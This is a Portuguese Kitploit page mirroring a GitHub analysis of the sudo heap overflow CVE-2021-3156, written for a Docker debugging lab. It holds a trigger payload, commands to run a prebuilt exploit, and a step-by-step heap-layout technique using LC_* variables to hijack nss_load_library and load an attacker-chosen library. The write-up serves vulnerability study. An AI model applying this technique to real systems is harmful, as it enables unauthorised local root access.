Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3156 — CVE-2021-3156: POC, Docker e Análise | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2021-3156
Escalada de PrivilégiosAnálise de VulnerabilidadesAnálise de CódigoExploraçãoEngenharia ReversaDepuradoresFuzzingTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
112há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156: POC, Docker e Análise

Ver Repositório

CVE-2021-3156

[toc]

Resumo da vulnerabilidade

ID da vulnerabilidade: CVE-2021-3156

Pontuação da vulnerabilidade:

Produto afetado: linux sudo

Versões afetadas: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

Condições de exploração: linux local; sudo com suid e executável

Efeito da exploração: Escalada local de privilégios

Obter código-fonte: https://www.sudo.ws/getting/source/

Configuração do ambiente

Ambiente Docker: chenaotian/cve-2021-3156

Docker que montei, fornece:

  1. sudo compilado manualmente com suporte a depuração de código-fonte
  2. glibc com símbolos de depuração
  3. gdb e os plugins do gdb pwngdb & pwndbg
  4. exp.c e o exploit compilado com sucesso

Tudo está no diretório /root:

image-20220124223312224

  • O diretório exp é onde estão o código-fonte do exploit e o binário compilado, pode ser executado diretamente neste Docker
  • glibc-2.27 é o diretório dos fontes da versão do libc neste ambiente
  • sudo-1.8.21 é o diretório dos fontes do sudo neste ambiente, usei este para compilar.

Testando o exploit:``` cd exp su test ./exp whoami

root@kitploit:~
O conteúdo relacionado à depuração é visto mais adiante em [alguns comandos de depuração](#一些调试命令)


## Princípio da vulnerabilidade

payload de acionamento de vulnerabilidade```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

Análise do código fonte (sudo-1.8.21): Primeiro, a função main em sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

root@kitploit:~
- Primeiro, chame a função parse_args para processar os parâmetros que inserimos. Na verdade, aqui inserimos apenas um `-s`, nada para definir, defina sudo_mode como MODE_EDIT e MODE_SHELL.
- Então, dependendo do sudo_mode, MODE_EDIT chamará policy_check.

Em seguida, está em sudo.c a função policy_check (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

A função de callback plugin->u.policy->check_policy foi chamada. É possível depurar para ver a função real desta função:

image-20220123113326096

O que é chamado é a função sudoers_policy_check (policy.c: 760) em policy.c:```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

root@kitploit:~
Em seguida, a função sudoers_policy_main em sudoers.c foi chamada (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

Aqui são definidas algumas variáveis globais, NewArgc e NewArgv como a seguir, que são na verdade os parâmetros passados.

image-20220123113819116

Em seguida, entra na função set_cmnd em sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

root@kitploit:~
O estouro também ocorre aqui, como pode ser visto nos comentários do código. O estouro de heap ocorre ao copiar para o heap. A intenção original deste trecho de código é copiar todos os parâmetros de NewArgv para o heap, separados por espaços, e quando encontrar `\+caractere não espaço`, copiar apenas esse caractere.

**Mas ele não considerou uma situação: se um elemento de NewArgv termina com `\`, então temos a estrutura `\+\x00`, e `\x00` não é um caractere de espaço (incrivelmente). Isso significa que, após copiar `\x00` para o heap, a variável `from` é incrementada (duas vezes em um loop) e passa direto pela condição de término do while (`\x00`), fazendo com que o programa pense que os parâmetros não foram totalmente copiados e continue copiando até encontrar o próximo `\x00`.**

Nesse cenário, pode-se ver que `\+\x00` é imediatamente seguido pelo próximo parâmetro `A*80`, então a cópia continuará até o final de `A*80`. Mas não esqueça que, em seguida, o parâmetro `A*80` ainda será processado normalmente, resultando em uma segunda cópia. Portanto, `A*80` é copiado duas vezes no total, mas o chunk foi alocado com base no tamanho de apenas uma string `A*80`, excedendo em muito o tamanho alocado.

image-20220123113907744

Então ocorre o estouro, antes da cópia:

image-20220123114036691

Depois da cópia:

image-20220123114137794

O caminho geral de disparo da vulnerabilidade é (ao depurar, basta definir pontos de interrupção nestas funções):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Princípio de Exploração da Vulnerabilidade

Referência: [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156). **Mas o método de layout de heap dele é difícil de encontrar; aqui analisamos detalhadamente o método de layout de heap.** Usando a variável de ambiente `LC_*` para organizar o heap, o chunk que transborda irá sobrescrever exatamente a estrutura `service_user` que a função `nss_load_library` precisa carregar para a biblioteca compartilhada (so). Sobrescrevendo a string do nome da biblioteca nessa estrutura, fazemos o programa carregar a biblioteca que especificamos, permitindo a execução de código arbitrário.

Embora a lógica pareça clara, os detalhes a serem resolvidos ainda são bastante complicados:

1. Estruturas de dados e mecanismos relacionados em `nss_load_library`
2. Como `setlocale` usa a variável de ambiente `LC_*` para fazer o layout do heap

A seguir, chamaremos o chunk onde ocorre o estouro (vulnerável) de **vuln chunk**, e o alvo do estouro de **target chunk**.

### Princípio do nss

Primeiro, veja o código chave para a exploração:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

ni为堆上的service_user 结构体,当 ni->library->lib_handle 为NULL 时,就会调用__libc_dlopen 进行 so 装载。如果我们可以溢出到ni所在堆块,那么只需要将library 覆盖为0 即可,因为在第一个分支如果library 为NULL ,代表没有初始化,会调用 nss_new_service 对library 初始化,刚初始化的 handle 必然为NULL。

ok,知道了漏洞利用的关键触发点之后,接下来了解一下nss 这东西的机制。

首先/etc/目录下有一个文件/etc/nsswitch.conf(一般情况长这样,不是所有设备中都一样的):```

/etc/nsswitch.conf

Example configuration of GNU Name Service Switch functionality.

If you have the glibc-doc-reference' and info' packages installed, try:

`info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
Este é um ficheiro de configuração que, através destas vias e ordem (basicamente, quais as bibliotecas partilhadas (so) utilizadas) registadas aqui, define como os métodos são procurados. Também é possível especificar que ações o sistema deve tomar quando um determinado método é bem-sucedido ou falha.

O que percebo é que define de onde o programa precisa de obter as informações necessárias, como informações do utilizador, rede, endereço, etc. Na prática, isso traduz-se em chamar essa função a partir de uma biblioteca partilhada (so) diferente. A implementação dessa função nas diferentes "so" é o método para obter essa informação.

A seguir, vejamos três estruturas:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

Há uma entrada global static name_database *service_table; e, na função __nss_database_lookup, se a entrada global service_table estiver vazia, nss_parse_file é chamada para inicialização. O código relevante é:

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

O princípio é que, na primeira pesquisa, quando a entrada global service_table está vazia, ocorre a inicialização com base no conteúdo do arquivo /etc/nsswitch.conf, e a estrutura de dados final é mostrada a seguir:

image-20220123134155631

Aqui, todas as estruturas de dados são alocadas de uma vez na mesma função, na ordem mostrada na minha figura, portanto, em condições normais, esses chunks estão todos conectados. E suas alocações ocorrem antes do vuln chunk. (Ponto de interrupção de depuração nss_parrse_file)

Além disso, vale a pena notar que na função nss_parse_file há uma função __getline, que aloca um chunk com base no comprimento do conteúdo lido, e esse chunk será liberado quando a função nss_parse_file retornar. Como o formato do conteúdo em /etc/nsswitch.conf tem a linha mais longa basicamente sendo um comentário, e não podemos controlar esse arquivo, pode-se considerar que o comprimento do chunk alocado na função __getline é sempre o mesmo, fixado em 0x80.

Portanto, podemos interpretá-lo como: este é um chunk muito valioso que é alocado antes da lista encadeada service, e será liberado assim que a estrutura da lista encadeada service for alocada, e pode permanecer no estado free até a alocação do vuln chunk. Lembre-se deste pequeno detalhe por enquanto (testei muitos ambientes, e a maioria deles pode usar este detalhe).

Então, quando a função nss_load_library é acionada? Você pode ver a pilha de chamadas durante a depuração:

image-20220123114256387

De acordo com a pilha de chamadas, quando é necessário chamar algumas funções para buscar informações de host ou usuário, são chamadas funções de pesquisa para localizar a função correspondente no respectivo .so. Em suma, é a estrutura de dados service_table gerada por /etc/nsswitch.conf. O código é o seguinte:

glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
Primeiro, chama `__nss_database_lookup` com base no `DATABASE_NAME_STRING` passado (conteúdo como passwd, group, shadow, etc.) para encontrar o service correspondente: ou seja, pesquisa a área vermelha na figura abaixo para encontrar uma correspondência e retorna o ponteiro do service. Se for a primeira pesquisa e as entradas estiverem todas vazias, será inicializado (conforme mencionado acima).

image-20220123133933696

Em seguida, chama `__nss_lookup` que chama `__nss_lookup_function` em loop para pesquisar o service onde a função correspondente está localizada com base na lista encadeada de services, depois chama `nss_load_library`, obtém o handle da biblioteca compartilhada (so), e então procura a função correspondente. O código é o seguinte:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
Pode-se ver que, sempre que uma função dentro de `libnss_xxx.so` é chamada, inevitavelmente `nss_load_library` será invocada, mesmo que o SO já tenha sido carregado. Portanto, com base na ideia do exp conhecido, **basta saber a qual SO pertence a primeira função relacionada ao libnss chamada após a ocorrência do heap overflow e, em seguida, através do layout do heap, posicionar a estrutura `service_user` desse SO atrás do chunk vulnerável. No entanto, com base nos meus testes em vários ambientes, descobri que, mesmo na mesma versão, a estrutura do código compilado por nós mesmos é diferente da versão da distribuição**. Aqui, usarei meu próprio ambiente de depuração para reanalisar e escrever um exp.

### De volta ao ambiente de depuração

O ambiente de depuração que montei (docker) é o sudo que compilei por conta própria, com símbolos de depuração. As informações específicas são as seguintes:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

O conteúdo de /etc/nsswitch.conf é o seguinte:

image-20220115142452318

Ainda é muito diferente do normal, portanto, executar diretamente o exploit de outra pessoa certamente não funcionará. Além disso, após a depuração, no meu ambiente, após o estouro de heap, a primeira função nss chamada é setspent, que é uma função do shadow, ou seja, o service_user de database_entrry3 é o chunk alvo número 7. Queremos que o chunk vulnerável apareça antes do chunk 7, e que nenhum outro chunk numerado fique entre eles (ou seja, ao estourar, não danificar outros chunks da estrutura service_table).

image-20220123134335546

Em seguida, inevitavelmente, temos que estudar como fazer uma operação de escalonamento de privilégio organizando o heap de uma só vez. Sabemos que o layout do heap é feito usando a variável de ambiente LC_ALL na função setlocale. Após análise, setlocale tem muitas operações de alocação e liberação de heap, então aqui focamos na parte que podemos controlar.

Usando setlocale para organizar o heap

Acidentalmente, encontrei no blog interno da empresa uma análise de um colega, que foi muito útil. Não é acessível externamente, então não vou postar.

O mecanismo de heap do setlocale, a chave é uma frase: basta inserir as variáveis de ambiente com o comprimento correspondente na ordem dos chunks que se deseja liberar. Isso garante a ordem de liberação e as relações de precedência, mas esses chunks não ficam intimamente ligados entre si.

Primeiro, vejamos o código-fonte de setlocale:

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

} libc_hidden_def (setlocale)

root@kitploit:~
A função `setlocale` está relacionada a algumas questões confusas de localidade, e os parâmetros de variáveis de ambiente relevantes são os seguintes:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

De acordo com o valor do parâmetro category passado, procura nas variáveis de ambiente pelo parâmetro correspondente e age. No sudo, é utilizado setlocale(LC_ALL,""); Quando o parâmetro passado é LC_ALL, começa por LC_IDENTIFICATION e itera por todas as variáveis anteriores. Para cada uma, chama a função _nl_find_locale, que é mais complexa internamente, mas o newnames[category] retornado é na verdade o valor da variável de ambiente correspondente. Em seguida, chama a função strdup para copiar essa string para a heap. Como foi passado LC_ALL, é gerado um array de strings correspondente. Depois, é feita uma validação com o valor padrão da variável global; se a validação falhar, o array é liberado (é fácil construir uma entrada que falhe).

Ou seja, podemos operar aqui realizando x alocações de heap com strdup e x liberações dos chunks recém-alocados. Parece simples, mas não é bem assim, porque dentro da função _nl_find_locale existem muitas operações de alocação e liberação de heap. Os chunks alocados por strdup são basicamente chunks liberados dentro de _nl_find_locale. Embora para exploração de heap a análise posterior já não seja tão importante, se quisermos organizar a heap com precisão ou se o novo ambiente for mais restritivo, ainda é necessário analisar _nl_find_locale:

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
  if (locale_file == NULL)
return NULL;
}

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
Na função `_nl_find_locale`, primeiro chama a função `_nl_explode_name` para atribuir a mask com base no valor da variável de ambiente (como eu disse nos comentários do código), verificando principalmente se existem três itens: país, idioma e sufixo definido pelo usuário. Se existirem, define a mask correspondente, onde o idioma define dois, totalizando quatro. Em seguida, chamar a função `_nl_make_l0nflist` fará com que `_nl_find_locale` retorne vazio, disparando o break do loop dentro de `setlocale` acima (importante).

A seguir, veja a função `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名,也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件,则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
  //每次mask 值会-1,这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

Os dois parâmetros de entrada mais críticos são do_allocate e mask. do_allocate indica se uma nova memória será alocada ativamente. Se for 0, a busca é feita diretamente na lista encadeada existente; geralmente a lista encadeada existente está vazia, então retorna imediatamente. Se do_allocate não for 0, a lista encadeada será expandida.

Em uma chamada da função _nl_make_l10nflist, 1-2 chunks são alocados, ambos de tamanho variável. O primeiro chunk é alocado com base no comprimento do nome de arquivo combinado a partir de mask. Se o nome de arquivo não for duplicado, um segundo chunk é alocado, que é uma estrutura de comprimento variável que gerencia nomes de arquivo. Seu propósito específico não é grande, e não podemos controlá-lo, então ignoramos aqui.

mask tem quatro bits. Esses quatro flags determinam o nome de arquivo para esta operação. Os quatro flags representam se o conteúdo entre colchetes existe:``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
Onde dir(/usr/lib/locale), language(C), filename(nome de variável de ambiente) são fixos, o conteúdo entre colchetes é gerado opcionalmente de acordo com o valor mask. Por exemplo:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Então:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
Dependendo de diferentes masks, pode gerar:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Como o conteúdo que inserimos originalmente não contém informações do país, ou seja, o campo [_territory] já está vazio, então, independentemente de a máscara ser 1 ou não, esse campo não aparecerá. Isso faz com que diferentes máscaras resultem no mesmo nome de arquivo, explicando por que acima há a operação de liberar e retornar ao encontrar o mesmo nome de arquivo.

